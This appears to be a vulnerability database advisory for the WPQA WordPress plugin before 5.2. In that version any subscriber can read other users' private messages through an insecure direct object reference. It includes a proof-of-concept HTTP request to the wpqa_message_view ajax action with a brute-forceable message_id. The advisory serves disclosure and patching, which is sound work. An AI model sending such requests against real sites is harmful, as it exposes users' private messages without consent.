WordPress Plugin Vulnerabilities

WPQA < 5.2 - Subscriber+ Private Message Disclosure via IDOR

Description

The plugin, used as a companion plugin for the Discy and Himer themes, does not validate that the message_id of the wpqa_message_view ajax action belongs to the requesting user, leading to any user being able to read messages for any other users via a Insecure Direct Object Reference (IDOR) vulnerability.

Proof of Concept

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Connection: close
Cookie: <valid cookie of any user>

action=wpqa_message_view&message_id=<numeric_id_can_be_bruteforced>

Affects Plugins

Fixed in 5.2

References

YouTube Video

Classification

Type
IDOR
CWE

Miscellaneous

Original Researcher
Veshraj Ghimire
Submitter
Veshraj Ghimire
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2022-04-21 (about 2 years ago)
Added
2022-04-21 (about 2 years ago)
Last Updated
2022-05-07 (about 2 years ago)

Other